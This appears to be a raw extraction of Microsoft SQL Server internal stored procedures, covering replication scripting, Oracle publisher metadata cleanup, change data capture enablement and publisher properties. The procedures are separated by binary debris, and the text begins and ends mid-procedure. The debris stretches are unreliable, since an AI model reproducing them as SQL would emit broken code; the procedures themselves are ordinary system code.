                -- when @edition like N'Windows Embedded SQL%' then 70
                else 0 end
END
0& 8
--
-- Name:    
--          sp_IHscripttable
--          
-- Description: 
--          Script table object
--  
-- Inputs:
--			@article_id	== article id
--
-- Security: 
--          Internal (used by script generation)
--
-- Returns:
--          Success or failure
--			Temp table (#proctext) of commands
--      
-- Owner:   
--          <current owner> 
--

CREATE PROCEDURE sys.sp_IHscripttable
(
	@article_id	int,
    @collation  sysname
)
AS
BEGIN
	declare @retcode		int
	declare @cmd			nvarchar(4000)
	declare @dest_owner		nvarchar(255)
	declare @dest_tabname	sysname
	declare @col_name		sysname
	declare @col_type		tinyint
	declare	@col_length		bigint
	declare @col_prec		int
	declare	@col_scale		int
	declare @col_nullable	nvarchar(10)
	declare @typestring		nvarchar(255)
	
	-- Get sysarticles info
	select	@dest_owner		= dest_owner,
			@dest_tabname	= dest_table 
	from	sysarticles
	where	artid = @article_id
	
	if @dest_owner is not null
	begin
	    select @dest_owner = QUOTENAME( @dest_owner ) + N'.'
	end
	else
	begin
	    select @dest_owner = N''
	end
	
	-- Script out CREATE TABLE statement
	select @cmd = N'CREATE TABLE ' + @dest_owner + QUOTENAME(@dest_tabname) + N'('
	
	insert into #proctext(procedure_text)
	values(@cmd)
	
	-- Script column list
	DECLARE hArtCol CURSOR LOCAL FAST_FORWARD FOR 
	SELECT	ihc.name,
			ihc.mapped_type,
			ihc.mapped_length,
			ihc.mapped_prec,
			ihc.mapped_scale,
			case ihpc.isnullable
				when 0 then N'NOT NULL'
				else N'NULL' end
	FROM	IHcolumns ihc WITH ( INDEX (idx_IHcolumns_articleid) ),
		IHpublishercolumns ihpc WITH ( INDEX (idx_IHpublishercolumns_pubcolumnid) )
	WHERE	ihpc.publishercolumn_id = ihc.publishercolumn_id
	  AND	ihc.article_id = @article_id
	ORDER BY ihpc.column_ordinal
	OPTION ( LOOP JOIN, FORCE ORDER )

	OPEN	hArtCol
	FETCH	hArtCol
	INTO 	@col_name,
			@col_type,
			@col_length,
			@col_prec,
			@col_scale,
			@col_nullable
	
	WHILE (@@fetch_status <> -1)
	BEGIN
		-- Construct type string
		SELECT @typestring = QUOTENAME(type_name(@col_type))


        IF type_name(@col_type) IN (N'datetime2',N'time',N'datetimeoffset')
        BEGIN
			SELECT @typestring = @typestring + N' (' + convert(nvarchar(255), @col_scale) + N')'
        END
		ELSE IF @col_length > 0
		BEGIN
			SELECT @typestring = @typestring + N' (' + convert(nvarchar(255), @col_length) + N')'
		END
		ELSE IF @col_length = -1
		BEGIN
			-- Special case - max types
			SELECT @typestring = @typestring + N' (max)'
		END
		ELSE IF @col_prec > 0
		BEGIN
			SELECT @typestring = @typestring + N' (' + convert(nvarchar(255), @col_prec)
			
			IF @col_scale >= 0
			BEGIN
				SELECT @typestring = @typestring + N', ' + convert(nvarchar(255), @col_scale)
			END
			
			SELECT @typestring = @typestring + N')'
		END

	    SELECT @cmd = char(9) + QUOTENAME(@col_name) + N' ' + @typestring + N' ' + 
                      CASE
                        WHEN @collation IS NOT NULL AND type_name(@col_type) IN (N'char', N'varchar', N'nchar', N'nvarchar', N'text', N'ntext')
                            THEN N'COLLATE ' + @collation + N' '
                        ELSE N''
                      END + @col_nullable + ','

	    INSERT INTO #proctext(procedure_text)
		VALUES(@cmd)

		FETCH	hArtCol
		INTO 	@col_name,
				@col_type,
				@col_length,
				@col_prec,
				@col_scale,
				@col_nullable
	END
	
	CLOSE hArtCol
	DEALLOCATE hArtCol

	-- Remove trailing ','
	update #proctext
	set		procedure_text = left(procedure_text, len(procedure_text) - 1)
	where 	seq = IDENT_CURRENT('#proctext')
	
	-- End create table
	insert into #proctext(procedure_text) values( N')' )

	RETURN (0)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<EiL~-0 8create procedure sys.sp_MSscript_sync_del_proc (
    @publication sysname, 
    @article     sysname,
    @procname    sysname,
	@alter bit = 0 -- if 1 script alter, otherwise script create
)
as
BEGIN
    declare @source_objid int
    declare @colname sysname
    declare @indid int
    declare @cmd          nvarchar(4000)
    declare @outvars      nvarchar(4000)
    declare @rc           int
    declare @error_cmd  tinyint
    declare @queued_pub bit
    declare @artid int

    set nocount on
    --
    -- security check -- dbo+ to script create or alter
    --
    exec @rc = sys.sp_MSreplcheck_publish
	if @@error <> 0 or @rc <> 0
    begin
	    return (1)
    end
    --
    -- Create temp table
    --
    create table #proctext ( c1 int identity NOT NULL, procedure_text nvarchar(4000) collate database_default null)
    select @queued_pub = allow_queued_tran from syspublications where name = @publication
    --
    -- proc definition
    --
    exec @rc = sys.sp_MSscript_beginproc @publication, @article, @procname, @source_objid output, @artid output, @alter
    if @@error <> 0 or @rc <> 0
        return
    --
    -- construct parameter list
    --
    exec sys.sp_MSscript_params @source_objid, @artid, N'_old', 0, null
    --
    -- add other parameters and start body of proc
    --
    exec sys.sp_MSscript_procbodystart @queued_pub 
    --
    -- script the security and execution mode  and subscription validation checks
    --
    exec sys.sp_MSscript_ExecutionMode_stmt @publication, @article, 1
    --
    -- Work around for case where article has 1 col that is not user-modfied (identity, timestamp)
    -- *** Do we need to check this here - 
    -- *** we should be checking this when creating subscription
    -- 
    exec @rc = sys.sp_MStable_not_modifiable @source_objid, @artid
    if @rc = 1
        select @error_cmd = 1
    else
    begin
        exec @indid = sys.sp_MStable_has_unique_index @source_objid 
        if (@outvars is not null and @indid = 0)
            -- no insert/update allowed if timestamp/identity col and no unique index
            select @error_cmd = 1
        else
            select @error_cmd = 0       
    end

    if (@error_cmd = 0)
    begin
        --
        -- script delete statemnt
        --
        exec sys.sp_MSscript_delete_statement @publication, @article, @source_objid, @artid, @queued_pub
        --
        -- script queued specific stuff
        --
        if (@queued_pub = 1)
        begin
            --
            -- script the conflict resolution logic common to all resolution policies
            --
            exec sp_MSscriptdelconflictfinder @publication, @article, @source_objid
            --
            -- script Conflict resolution block for Publisher Wins case
            --
            exec sys.sp_MSscript_delete_pubwins @publication, @article, @source_objid
            --
            -- script Conflict resolution block for Subscriber Wins case
            --
            exec sys.sp_MSscript_delete_subwins @publication, @article, @source_objid, @artid
        end
        --
        -- script closing 
        --
        exec sys.sp_MSscript_endproc @source_objid, 'del', @artid, @outvars, @queued_pub
    end
    else
    begin
        --
        -- Generate error command and finish
        --
        insert into #proctext(procedure_text) values( N'
    exec sys.sp_MSreplraiserror 20516
END
')
    end
    --
    -- send fragments to client
    --
    select procedure_text from #proctext order by c1 asc
    --
    -- all done
    --
    return 0
END
0b 
8
CREATE PROCEDURE sys.sp_IHflushmetadata
(
    @publisher          sysname,
    @source_owner       sysname,
    @source_table       sysname
)
AS
BEGIN
    DECLARE @retcode            int
    DECLARE @publisher_type     sysname
    DECLARE @publisher_id       int
    DECLARE @table_id           int

	--
    -- Get publisher info
    --
    EXEC @retcode = sys.sp_MSrepl_getpublisherinfo  @publisher      = @publisher,
                                                    @publisher_type = @publisher_type OUTPUT,
                                                    @publisher_id   = @publisher_id   OUTPUT

	--
    -- Reject unsupported publisher types
    --
    IF @publisher_type NOT IN (N'ORACLE', N'ORACLE GATEWAY')
    BEGIN
        RAISERROR (21645, 16, -1, @publisher_type)
        RETURN (1)
    END

	--
	-- Get table id
	--
	SELECT	@table_id = table_id
	FROM	dbo.IHpublishertables
	WHERE	publisher_id = @publisher_id
	  AND	owner        = @source_owner
	  AND	name         = @source_table

	--
	-- Delete publisher information if the table is not used by any other articles
	--
	IF NOT EXISTS
	(
		SELECT	*
		FROM	IHarticles
		WHERE	publisher_id = @publisher_id
		  AND	table_id     = @table_id
	)
	BEGIN

		-- Delete the constraints
		DELETE	IHpublishercolumnconstraints 
		FROM	IHpublishercolumnconstraints col2con
		JOIN	IHpublisherconstraints ihcons on col2con.publisherconstraint_id = ihcons.publisherconstraint_id
		WHERE	ihcons.publisher_id = @publisher_id
		  AND	ihcons.table_id     = @table_id
	
		IF @@ERROR <> 0
			RETURN (1)
	
		DELETE	IHpublisherconstraints 
		FROM	IHpublisherconstraints ihcons
		WHERE	publisher_id = @publisher_id
		  AND	table_id     = @table_id
	
		IF @@ERROR <> 0
			RETURN (1)

		-- Delete the indexes
		DELETE	IHpublishercolumnindexes 
		FROM	IHpublishercolumnindexes col2idx
		JOIN	IHpublisherindexes idx on col2idx.publisherindex_id = idx.publisherindex_id
		WHERE	idx.publisher_id = @publisher_id
		  AND	idx.table_id     = @table_id
	
		IF @@ERROR <> 0
			RETURN (1)
	
		DELETE	IHpublisherindexes 
		FROM	IHpublisherindexes ihidx
		WHERE	publisher_id = @publisher_id
		  AND	table_id     = @table_id
	
		IF @@ERROR <> 0
			RETURN (1)

		-- Delete the columns
		DELETE	IHpublishercolumns
		FROM	IHpublishercolumns 
		WHERE	publisher_id = @publisher_id
		  AND  	table_id     = @table_id

		IF @@ERROR <> 0
			RETURN (1)

		-- Delete the table
		DELETE	IHpublishertables
		FROM	IHpublishertables
		WHERE	publisher_id = @publisher_id
		  AND	table_id     = @table_id

		IF @@ERROR <> 0
			RETURN (1)
	END

	RETURN (0)
END
0@@ e8create view sys.traces as select * from OpenRowset(TABLE SYSTRACES)
0@ D8Lh50K 8
CREATE PROCEDURE sys.sp_getVolumeFreeSpace
@database_name sysname,
@file_id int
AS
BEGIN

	IF(DB_NAME() != 'msdb')
	BEGIN
		RAISERROR(14416,-1,-1)
		RETURN 14416
	END
	IF ( HAS_PERMS_BY_NAME(null, null, 'VIEW SERVER STATE') != 1 )
	BEGIN
		RAISERROR(38002, -1, -1, 'View Server State')
		RETURN 38002
	END
	DECLARE @physicalfilename nvarchar(260)
	SELECT @physicalfilename = physical_name FROM sys.master_files WHERE database_id = DB_ID(@database_name) AND file_id = @file_id
	IF(@physicalfilename IS NULL)
	BEGIN
		RAISERROR(38001,-1,-1,@file_id,@database_name)
		RETURN 38001
	END
	SELECT sys.fn_getVolumeFreeSpace_internal(@physicalfilename)
END
0 \8Ymh	>
8^
a	!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!%|`)<ujC'f0Ѿ D8@_h-00.@ W8
create procedure sys.sp_MSDropTriggerProcs
    @qual_source_object nvarchar(540),
    @pubid uniqueidentifier
as
    declare @artid uniqueidentifier
    declare @retcode int
	declare @table_name sysname
	declare @schema_name sysname

	select @table_name = PARSENAME(@qual_source_object, 1)

	-- NULL is fine here as sp_MSdroparticletriggers will take care of it
	select @schema_name = PARSENAME(@qual_source_object, 2)

    select @artid= artid from dbo.sysmergearticles 
        where objid=object_id(@qual_source_object) and pubid=@pubid

    exec @retcode= sys.sp_MSdrop_ins_conflict_proc @pubid=@pubid, @artid=@artid
    if @@error<>0 or @retcode<>0 return 1

    exec @retcode= sys.sp_MSdroparticletriggers @table_name, @schema_name
    if @@ERROR<>0 or @retcode <>0 return (1)
    return (0)
0 8create procedure [sys].[sp_cdc_enable_db_internal]
as
begin
	declare @retcode int
			,@module_name nvarchar(1000)
			,@stmt nvarchar(1000)
			,@db_name sysname
			,@raised_error int
			,@raised_message nvarchar(4000)
			,@action nvarchar(1000)
			,@trancount int
			,@resource nvarchar(255)
			,@applock_result int
			,@db_id int
			,@swuser_flag bit
	
    set nocount on
    
    set @raised_error = 0
    set @db_name = db_name()
    set @db_id = db_id()
    set @resource = N'__$cdc__db_' + convert(nvarchar(10),@db_id)
    set @swuser_flag = 0 

    if(@db_name = N'model' or @db_name = N'msdb' or @db_name = N'master' or @db_name = N'tempdb' or sys.fn_MSrepl_isdistdb(@db_name) = 1)
    begin
		raiserror(22989,16, 1, @db_name)
		return 1	
    end

    -- Verify database is not already enabled for change data capture
    if ([sys].[fn_cdc_is_db_enabled]() = 1)
    begin
		-- Raise an informational error only    
		raiserror(22905, 10, -1, @db_name)
		return 0
    end

    -- Verify that the reserved 'cdc' database user and login do not already exist.
    if ([sys].[fn_cdc_db_objects_exist]() != 0)
    begin
		-- If the database has since become enabled, only raise informational error
		if ([sys].[fn_cdc_is_db_enabled]() = 1)
		begin
			-- Raise an informational error only    
			raiserror(22905, 10, -1, @db_name)
			return 0
		end	
		raiserror(22906, 16, -1, @db_name)
        return 1
    end
    
    -- Encapsulate transaction logic in TRY/CATCH. 
    BEGIN TRY
    
		-- Authorization and verification checks have completed.
		-- Open a transaction to begin metadata updates.
		set @trancount = @@trancount
		
		begin tran
		save tran sp_enable_db_change_data_capture
    
		--  Get exclusive database lock
		exec @applock_result = sys.sp_getapplock @Resource = @resource, @LockMode = N'Exclusive',
			@LockOwner = 'Transaction', @DbPrincipal = 'db_owner'
 
		If @applock_result < 0
		begin
			-- Lock request failed.
			set @action = N'sys.sp_getapplock @Resource = ' + @resource + N'@LockMode = N''Exclusive'', @LockOwner = ''Transaction'', @DbPrincipal = ''db_owner'' ' 
			raiserror(22840, 16, -1, @action, @applock_result)
		end

		-- The lock request was granted.
		-- Insure database parity is not already enabled before proceeding
		If ([sys].fn_cdc_is_db_enabled() = 1)
		begin
			-- If database is enabled now, another thread was attempting to enable CDC
			-- at the same time. Raise an informational error.
			commit tran
			raiserror(22905, 10, -1, @db_name)
			return 0
		end	 
   
		--
		-- Mark the database as enabled for CDC
		--
        set @action = N'SetCDCTracked(Value = 1)'
		exec %%DatabaseEx(Name = @db_name).SetCDCTracked(Value = 1)
	
		-- Switch to 'dbo' before creating the cdc schema and user.
		-- This is the 'dbo' user of the database to be enabled,
		-- not the 'dbo' of the resource database.
		execute as user = 'dbo'
	    set @swuser_flag = 1
	    
	    -- Create database CDC user
		set @action = N'create user cdc'
		create user [cdc] without login with default_schema = [cdc];
   
		-- Make 'cdc' user member of 'db_owner' for database
		set @action = N'sp_addrolemember ''db_owner'', ''cdc'''
		exec sp_addrolemember 'db_owner' , 'cdc'
		
		-- Switch to cdc user to crete the remaining objects
		revert
	    set @swuser_flag = 0
		execute as user = 'cdc'
	    set @swuser_flag = 1
		
		-- Create table systranschemas if it doesn't already exist
		if (object_id('dbo.systranschemas') is null)
		begin
			set @action = N'CREATE TABLE dbo.systranschemas'
			CREATE TABLE dbo.systranschemas
			(
				tabid int not null,
				startlsn binary(10) not null,
				endlsn binary(10) not null,
				typeid int not null default 52
			)
		
			set @action = N'create unique clustered index uncsystranschemas'
			create unique clustered index uncsystranschemas
			on systranschemas (startlsn)
		
			-- mark the index as a system object
			set @action = N'sp_MS_marksystemobject'
			exec dbo.sp_MS_marksystemobject 'systranschemas'
		end
    
		-- Create the objects in the database reserved for exclusive use by
		-- change tracking. Errors raised will be caught in catch block.
		set @action = N'sp_cdc_create_objects'
		exec [sys].[sp_cdc_create_objects]
		 
		-- Create the functions in the database reserved for exclusive use by
		-- change tracking. Errors raised will be caught in catch block.
		set @action = N'sp_cdc_create_functions'
		exec [sys].[sp_cdc_create_functions]
		
		-- Create the database DDL triggers. Errors raised will be caught in catch block.
		set @action = N'sp_MScdc_ddl_database_triggers ''add'''
		exec [sys].[sp_MScdc_ddl_database_triggers] 'add'
		
		-- Actions that could fire DDL or DML database triggers have completed.
		revert
	    set @swuser_flag = 0 
			
		-- Create the DDL server trigger. Errors raised will be caught in catch block.
		set @action = N'sp_MScdc_ddl_server_trigger ''add'' '
		exec [sys].[sp_MScdc_ddl_server_trigger] 'add'

		set @action = N'sp_replflush'
		exec sp_replflush

		commit tran
    
    END TRY
    
    BEGIN CATCH
    
		if @@trancount > @trancount
		begin
			-- If CDC opened the transaction or it is not possible 
			-- to rollback to the savepoint, rollback the transaction
			if ( @trancount = 0 ) OR ( XACT_STATE() <> 1 )
			begin
				rollback tran 
			end
			-- Otherwise rollback to the savepoint
			else
			begin
				rollback tran sp_enable_db_change_data_capture
				commit tran
			end
		end
     
		-- Save the error number and associated message raised in the TRY block
		select @raised_error = ERROR_NUMBER()
		select @raised_message = ERROR_MESSAGE()
		
		if @swuser_flag = 1
		begin
			revert
		end		
    
    END CATCH
    
	if @raised_error = 0
		return 0
		
    raiserror(22830, 16, -1, @db_name, @action, @raised_error, @raised_message)  
    return 1
    
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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
	RETURN SELECT * FROM OPENROWSET
		(
		TABLE DM_CRYPTO_PROVIDER_SESSIONS, 
		@all
		)
0I 8create procedure sys.sp_MScreatelightweightupdateproc 
	@pubid		uniqueidentifier,
	@artid		uniqueidentifier
as
	set nocount on

	declare @argname            nvarchar(10)
	declare @tablenick			int
	declare @destination_object	sysname
	declare @destination_owner	sysname
	declare @qualified_name     nvarchar(270)
	declare @cmdpiece 			nvarchar(4000)
	declare @postfix			nchar(32)
	declare @id                 int
	declare @colid 				int
	declare @previouscolid		int
	declare @columnordinal		smallint
	declare @colname 			nvarchar(200)
	declare @typename			sysname
	declare @len				smallint
	declare @prec				int
	declare @scale				int
	declare @isrowguidcol		tinyint
	declare @comma				nvarchar(2)
	declare @retcode            int
	declare @maintainsmetadata	bit
	declare @coltracked			bit
	declare @enumtype_str		nvarchar(100)
	declare @cmdtable			table (phase int not null, 
									   step int identity not null, 
									   cmdtext nvarchar(4000) collate database_default null)

	-- Security check
	exec @retcode= sys.sp_MSreplcheck_subscribe
	if @@error <> 0 or @retcode <> 0 return (1)

	select @tablenick= nickname, 
		   @destination_object= destination_object, 
		   @postfix= procname_postfix, 
		   @destination_owner= destination_owner,
		   @coltracked= column_tracking
		from dbo.sysmergearticles 
		where pubid = @pubid and artid = @artid

	if 1=@coltracked
	begin
		set @enumtype_str= '@COLUMNS_ENUMERATED_ChangedOnly'
	end
	else
	begin
		set @enumtype_str= '@COLUMNS_ENUMERATED_AllOnOtherReason'
	end

	set @maintainsmetadata= sys.fn_MSarticle_allows_DML_at_this_replica(@artid, default)

	if @destination_owner is null or @destination_owner = ''
		select @qualified_name = quotename(@destination_object)
	else
		select @qualified_name = quotename(@destination_owner) + '.' + quotename(@destination_object)

	-- Phase 0: Create procedure and fixed part of argument list.
	set @cmdpiece= 'create procedure dbo.' + quotename('MSmerge_lws_sp_upd_'  + @postfix) + '
	@rowguid	uniqueidentifier,
	@setnullbm	varbinary(128)'

	if 1 = @maintainsmetadata
	begin
		set @cmdpiece= @cmdpiece + ',
		@rowvector		varbinary(11)'
	end

	insert into @cmdtable (phase, cmdtext) values (0, @cmdpiece)

	-- Phase 1: Column arguments list. This will be done later.

	-- Phase 2: Open procedure body.
	set @cmdpiece='
	as 
	set nocount on

	-- Security check
	if (is_member(''db_owner'') <> 1)
	begin
		raiserror(15247,-1,-1)
		return (1)
	end

	declare @tablenick	int
	set @tablenick= ' + cast(@tablenick as nvarchar(20)) + '
	'

	insert into @cmdtable (phase, cmdtext) values (2, @cmdpiece)

	-- Phase 3: Add all code up to column list in update statement.
	if 1=@maintainsmetadata
	begin
		set @cmdpiece= 
		'
		declare @errcode	int
		declare @METADATA_TYPE_UpsertLightweightProcessed tinyint'

		if 1=@coltracked
		begin
			set @cmdpiece=@cmdpiece + '
			declare @COLUMNS_ENUMERATED_ChangedOnly tinyint

			set @COLUMNS_ENUMERATED_ChangedOnly= 0'
		end
		else
		begin
			set @cmdpiece=@cmdpiece + '
			declare @COLUMNS_ENUMERATED_AllOnOtherReason tinyint

			set @COLUMNS_ENUMERATED_AllOnOtherReason= 2'
		end

		set @cmdpiece=@cmdpiece + '
		set @METADATA_TYPE_UpsertLightweightProcessed= 11

		begin tran
		save tran tran_lws_updproc
		
		update dbo.MSmerge_rowtrack
			set	
				changetype= @METADATA_TYPE_UpsertLightweightProcessed, 
				rowvector= @rowvector, 
				changedcolumns= null,
				columns_enumeration= ' + @enumtype_str + ',
				changed= sys.fn_MSdayasnumber(getdate()),
				sync_cookie= null
			where tablenick = @tablenick and rowguid = @rowguid

		if @@rowcount = 0
		begin
			insert into dbo.MSmerge_rowtrack
			(
				tablenick, 
				rowguid, 
				changetype, 
				rowvector, 
				changedcolumns, 
				columns_enumeration, 
				changed, 
				sync_cookie
			)
			values
			(
				@tablenick, 
				@rowguid, 
				@METADATA_TYPE_UpsertLightweightProcessed, 
				@rowvector, 
				null, 
				' + @enumtype_str + ', 
				sys.fn_MSdayasnumber(getdate()), 
				null
			)

			if @@rowcount <> 1
			begin
				set @errcode= 3
				goto Failure
			end
		end

		update ' + @qualified_name + '
			set'
	end -- 1=@maintainsmetadata
	else
	begin
		set @cmdpiece= 
		'
		declare @errcode	int

		update ' + @qualified_name + '
			set'
	end
	
	insert into @cmdtable (phase, cmdtext) values (3, @cmdpiece)

	-- Phase 4: Add sequence of <column=value> in update statement. Will be done later

	-- Phase 5: Close update statement, and complete the stored proc.
	set @cmdpiece= '
		where rowguidcol = @rowguid
		
	if (@@rowcount <> 1)
	begin
		set @errcode= 3
		goto Failure
	end
	else
	begin
		set @errcode= 1
		delete from dbo.MSmerge_metadataaction_request
			where tablenick=@tablenick and rowguid=@rowguid
				
		goto Done
	end'

	if 1 = @maintainsmetadata
	begin
		set @cmdpiece= @cmdpiece + '
		Failure:
			rollback tran tran_lws_updproc

		Done:
			commit tran
			return @errcode
			'
	end
	else
	begin
		set @cmdpiece= @cmdpiece + '
		Failure:
		Done:
			return @errcode
			'
	end

	insert into @cmdtable (phase, cmdtext) values (5, @cmdpiece)

	-- Now we loop over the columns to complete the command.
	-- We omit computed, identity, and timestamp columns.

	select @id= object_id(@qualified_name)
	if @id is null return (1)
	
	set @columnordinal= 0
	set @previouscolid= -1
	set @comma= ''
	while (1=1)
	begin
		set @columnordinal= @columnordinal + 1
		
		set @colid= (select min(column_id) from sys.columns 
						where object_id = @id and 
							  column_id > @previouscolid and
							  is_computed = 0 and
							  is_identity = 0 and	-- Identity column
							  system_type_id <> type_id('timestamp'))

		if @colid is null
			break

		set @previouscolid= @colid

		select 
			@colname= quotename(name), 
			@typename= type_name(system_type_id),
		    @len= max_length,
		    @prec= precision, 
		    @scale= scale,
			@isrowguidcol= is_rowguidcol
		    from sys.columns 
		    where object_id = @id and column_id = @colid

		if @typename='nvarchar' or @typename='nchar' -- a unit of nchar takes 2 bytes
			select @len= @len/2

	    exec @retcode= sys.sp_MSmaptype @typename out, @len, @prec, @scale
	    if @@error<>0 or @retcode <>0 return (1)

		-- Phase 1: Add column to procedure arguments list.
		--			The list also contains the rowguidcol.
	    select @argname= '@p' + convert(nvarchar, @columnordinal)
	    set @cmdpiece= ',
	    ' + @argname + ' ' + @typename + '=null'

	    insert into @cmdtable (phase, cmdtext) values (1, @cmdpiece)

		-- Phase 4: Add sequence of <column=value> in update statement.
		--			Unlike in the argument list of phase 1, we now omit the rowguidcol.
		if @isrowguidcol = 1
			continue

		set @cmdpiece= @comma + '
			' + @colname + '= case' + '
				when ' + @argname + ' is not null then ' + @argname + '
				when @setnullbm =0x00 then ' + @colname + '
				when 1 = sys.fn_MStestbit(@setnullbm, ' + convert(nvarchar, @columnordinal) + ') then null
				else ' + @colname + '
			end'

	    insert into @cmdtable (phase, cmdtext) values (4, @cmdpiece)

	    set @comma= ', '
	end

	-- Now we select out the command text pieces in proper order so that our caller,
	-- xp_execresultset, will execute the command that creates the stored procedure.
	select cmdtext from @cmdtable order by phase, step

	return 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!AnA` k<llK)GU0!@ 28
--
-- Name:
--		sp_publisherproperty
--
-- Description:
--		Displays or changes publisher properties.  sp_publisherproperty should only be
--		used for heterogeneous publishers.
--
-- Inputs:
--		@publisher		== name of heterogeneous publisher
--		@propertyname	== property name
--		@propertyvalue	== property value 
--
-- Returns:
--		Return code (0 for success, 1 for failure)
--
-- Security:
--		public -- call must be sysadmin
--
-- Notes:
--		If publisher is the only supplied parameter, the result set include the
--		current settings for all of the settable properties.  If property name is
--		as well, only the named property appears in the result set.  If value is
--		supplied, sp_publisherproperty does not return a result set.
--
--		Properties:		Description
--
--		xactsetbatching When set to enabled, both the heterogeneous log reader
--						and the xactset job are able to group changes into
--						transactionally consistent sets for subsequent processing
--						by the log reader.  When set to disable, the log reader can
--						process existing xactsets, but neither the log reader not the
--						xactset job may create additional sets.  By default, xactset
--						batching is set to enabled at the publisher.
--
--		xactsetjob		When set to enabled, the xactset job runs periodically to create
--						xactsets at the publisher for subsequent processing by the
--						log reader.  When set to disabled, the creation of xactsets is
--						only done by the log reader when it polls the publisher for
--						change commands.  The xactset job does not run.  By default, the
--						xactset job is set to disabled at the publisher.
-- 
--		xactsetjobinterval	Interval between successive executions of the xactset job in 
--						minutes.
--

CREATE PROCEDURE sys.sp_publisherproperty
(
	@publisher		sysname,
	@propertyname	sysname = NULL,
	@propertyvalue	sysname = NULL
)
AS
BEGIN
	DECLARE @cmd			nvarchar(4000)
	DECLARE @cmd2			nvarchar(4000)
	DECLARE @retcode		int
	DECLARE @publisher_type	sysname
	DECLARE @jobenabled		bit
	DECLARE @batchenabled	bit
	DECLARE @interval		int

	SET @jobenabled	= 0
	SET @batchenabled = 0
	SET @interval = 0

	-- Security Check: requires sysadmin, done in sp_MSrepl_getpublisherinfo

	SET @retcode = 0

	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher,
													@rpcheader		= @cmd OUTPUT,
													@publisher_type	= @publisher_type OUTPUT,
													@hreplOnly		= 1							
	
	IF @retcode <> 0
		RETURN (@retcode)

	-- Error if the publisher is not an Oracle publisher
	IF @publisher_type NOT LIKE 'ORACLE%'
	BEGIN
		RAISERROR (21687, 16, -1, @publisher, @publisher_type)
		RETURN (1)
	END
	
	-- If propertyname is NULL, propertyvalue must be NULL as well
	IF @propertyname IS NULL and @propertyvalue IS NOT NULL
    BEGIN
        -- Nothing to do - just leave
        RETURN (0)
	END
	
	-- If propertyname is NULL return values for all of the settable properties
	IF @propertyname IS NULL
	BEGIN
		create table #properties
		(
			propertyname sysname,
			propertyvalue sysname
		)
	
		-- Return parity of xactsetbatching flag
		set @cmd2 = @cmd
		set @cmd2 = @cmd2 + N'sys.sp_ORAhelpXactBatching'
	
		EXEC @retcode = @cmd2	@publisher,
			@enabled = @batchenabled OUTPUT
				
		if @retcode <> 0 or @@error <> 0
			RETURN(1)	

		-- Return parity of xactset job flag and job interval
		set @cmd2 = @cmd
		set @cmd2 = @cmd2 + N'sys.sp_ORAhelpXactSetJob'
	
		EXEC @retcode = @cmd2	@publisher,
			@interval = @interval OUTPUT,
			@enabled = @jobenabled OUTPUT
				
		if @retcode <> 0 or @@error <> 0
			RETURN(1)	
				
		-- Return result set
		INSERT INTO #properties
		VALUES(
			N'xactsetbatching',
			CASE isnull(@batchenabled,0)
				WHEN 1 THEN N'enabled'
				WHEN 0 THEN N'disabled'
			END
		)
		INSERT INTO #properties
		VALUES(
			N'xactsetjob',
			CASE isnull(@jobenabled,0)
				WHEN 1 THEN N'enabled'
				WHEN 0 THEN N'disabled'
			END
		)
		INSERT INTO #properties
		VALUES(
			N'xactsetjobinterval',
			CONVERT(NVARCHAR(20),@interval)
		)
		
		-- return result set
		SELECT * FROM #properties
			
		RETURN (0)
	END

	-- Validate property name
	IF @propertyname NOT IN (N'xactsetbatching', N'xactsetjob', N'xactsetjobinterval')
	BEGIN
